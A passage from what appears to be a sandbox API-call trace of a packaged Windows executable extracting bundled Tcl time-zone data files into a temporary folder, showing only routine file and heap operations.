lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.430] GetLastError () returned 0x2 [0038.430] SetLastError (dwErrCode=0x2) [0038.430] GetLastError () returned 0x2 [0038.430] SetLastError (dwErrCode=0x2) [0038.430] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\ComodRivadavia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\ComodRivadavia", lpFilePart=0x0) returned 0x58 [0038.430] GetLastError () returned 0x2 [0038.430] SetLastError (dwErrCode=0x2) [0038.430] GetLastError () returned 0x2 [0038.430] SetLastError (dwErrCode=0x2) [0038.430] GetLastError () returned 0x2 [0038.430] SetLastError (dwErrCode=0x2) [0038.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\ComodRivadavia") returned 89 [0038.430] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\ComodRivadavia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\comodrivadavia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.432] GetFileType (hFile=0x10c) returned 0x1 [0038.432] htonl (hostlong=0xed000000) returned 0xed [0038.432] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.432] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xed, lpOverlapped=0x0) returned 1 [0038.433] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.433] CloseHandle (hObject=0x10c) returned 1 [0038.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.434] htonl (hostlong=0x40000000) returned 0x40 [0038.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.434] GetFileType (hFile=0x10c) returned 0x1 [0038.434] htonl (hostlong=0xec845800) returned 0x5884ec [0038.434] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d34ec, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.435] htonl (hostlong=0x3020000) returned 0x203 [0038.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x203) returned 0x550600 [0038.435] htonl (hostlong=0x3020000) returned 0x203 [0038.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.435] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.435] htonl (hostlong=0xd6070000) returned 0x7d6 [0038.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d6) returned 0x55e278 [0038.435] htonl (hostlong=0x3020000) returned 0x203 [0038.435] htonl (hostlong=0xd6070000) returned 0x7d6 [0038.435] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.435] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.435] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.435] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.435] CloseHandle (hObject=0x10c) returned 1 [0038.435] GetLastError () returned 0x0 [0038.435] SetLastError (dwErrCode=0x0) [0038.435] GetLastError () returned 0x0 [0038.435] SetLastError (dwErrCode=0x0) [0038.435] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.435] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.435] GetFileType (hFile=0x10c) returned 0x1 [0038.435] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.435] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.435] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.435] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.436] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.436] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.436] CloseHandle (hObject=0x10c) returned 1 [0038.436] GetLastError () returned 0x0 [0038.436] SetLastError (dwErrCode=0x0) [0038.436] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.436] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.436] GetFileType (hFile=0x10c) returned 0x1 [0038.436] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.436] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.436] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.436] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.436] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.436] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.436] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.436] CloseHandle (hObject=0x10c) returned 1 [0038.436] GetLastError () returned 0x0 [0038.437] SetLastError (dwErrCode=0x0) [0038.437] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.437] GetFileType (hFile=0x10c) returned 0x1 [0038.437] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.437] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.437] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.437] CloseHandle (hObject=0x10c) returned 1 [0038.437] GetLastError () returned 0x0 [0038.437] SetLastError (dwErrCode=0x0) [0038.437] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.437] GetFileType (hFile=0x10c) returned 0x1 [0038.437] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.437] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.437] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.437] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.438] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.438] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.438] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.438] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.438] CloseHandle (hObject=0x10c) returned 1 [0038.438] GetLastError () returned 0x0 [0038.438] SetLastError (dwErrCode=0x0) [0038.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Cordoba") returned 82 [0038.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Cordoba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\cordoba"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.438] GetLastError () returned 0x2 [0038.438] SetLastError (dwErrCode=0x2) [0038.438] GetLastError () returned 0x2 [0038.438] SetLastError (dwErrCode=0x2) [0038.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Cordoba", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Cordoba", lpFilePart=0x0) returned 0x51 [0038.438] GetLastError () returned 0x2 [0038.438] SetLastError (dwErrCode=0x2) [0038.438] GetLastError () returned 0x2 [0038.438] SetLastError (dwErrCode=0x2) [0038.438] GetLastError () returned 0x2 [0038.438] SetLastError (dwErrCode=0x2) [0038.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Cordoba") returned 82 [0038.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Cordoba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\cordoba"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.439] GetFileType (hFile=0x10c) returned 0x1 [0038.439] htonl (hostlong=0xd6070000) returned 0x7d6 [0038.439] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.439] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x7d6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x7d6, lpOverlapped=0x0) returned 1 [0038.440] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.440] CloseHandle (hObject=0x10c) returned 1 [0038.440] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.440] htonl (hostlong=0x40000000) returned 0x40 [0038.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.441] GetFileType (hFile=0x10c) returned 0x1 [0038.441] htonl (hostlong=0xef865800) returned 0x5886ef [0038.441] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d36ef, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.441] htonl (hostlong=0xa020000) returned 0x20a [0038.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20a) returned 0x550600 [0038.441] htonl (hostlong=0xa020000) returned 0x20a [0038.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.441] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.441] htonl (hostlong=0xd5070000) returned 0x7d5 [0038.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d5) returned 0x55e278 [0038.441] htonl (hostlong=0xa020000) returned 0x20a [0038.441] htonl (hostlong=0xd5070000) returned 0x7d5 [0038.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.441] CloseHandle (hObject=0x10c) returned 1 [0038.441] GetLastError () returned 0x0 [0038.441] SetLastError (dwErrCode=0x0) [0038.441] GetLastError () returned 0x0 [0038.441] SetLastError (dwErrCode=0x0) [0038.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.442] GetFileType (hFile=0x10c) returned 0x1 [0038.442] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.442] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.442] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.442] CloseHandle (hObject=0x10c) returned 1 [0038.442] GetLastError () returned 0x0 [0038.442] SetLastError (dwErrCode=0x0) [0038.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.442] GetFileType (hFile=0x10c) returned 0x1 [0038.442] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.442] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.443] CloseHandle (hObject=0x10c) returned 1 [0038.443] GetLastError () returned 0x0 [0038.443] SetLastError (dwErrCode=0x0) [0038.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.443] GetFileType (hFile=0x10c) returned 0x1 [0038.443] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 